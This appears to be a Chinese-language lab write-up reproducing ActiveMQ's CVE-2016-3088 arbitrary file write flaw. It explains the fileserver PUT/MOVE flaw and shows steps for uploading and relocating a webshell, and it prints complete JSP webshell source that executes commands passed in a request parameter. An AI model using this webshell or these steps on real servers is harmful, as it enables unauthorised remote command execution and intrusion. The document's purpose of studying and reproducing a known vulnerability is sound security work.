ActiveMQ任意文件写入(CVE-2016-3088)

1.漏洞描述

ctiveMQ Web控制台分为三个应用程序,admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是存储文件的界面;管理员和 API 需要先登录才能使用,文件服务器不需要登录。

fileserver 是一个 RESTful API 接口。我们可以通过HTTP请求(如GET,PUT和DELETE)读取和写入存储在其中的文件。设计目的是补偿消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:
(1)其使用率不高

(2)文件操作容易出现漏洞

因此,ActiveMQ默认在5.12.x—5.13.x中关闭了文件服务器应用程序(您可以在conf/jetty.xml中打开它);在 5.14.0 之后,文件服务器应用程序将被完全删除。在测试过程中,要注意ActiveMQ的版本,防止无用的费力。

2、漏洞详情
这个漏洞出现在Fileserver应用程序中,漏洞原理其实很简单,即fileserver支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要写入一个文件,然后通过使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。写入文件,如 cron 或 ssh 密钥

(1)编写 Webshell

(2)写入文件,如 cron 或 ssh 密钥

(3)编写库和配置文件,如 jar 或 jetty.xml

3、漏洞复现

输入ip:8161 查看漏洞环境
(1) 访问fileserver路径。
image
(2) burpsuite进行抓包。
(3)发送到重发器,PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件。
image
jsp文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@ page import="java.io.*"%>

<%

out.print("Hello</br>");

String strcmd=request.getParameter("cmd");

String line=null;

Process p=Runtime.getRuntime().exec(strcmd);

BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));



while((line=br.readLine())!=null){

out.print(line+"</br>");

}

%>

(4)访问ip:lport/fileserver/1.jsp
image
(5)访问ActiveMQ的绝对路径
http://ip:lport/admin/test/systemProperties.jsp
image
(6)通过move的方法,将木马文件移动到api或admin
image
(7)访问http://ip:lport/api/1.jsp?cmd=ls
image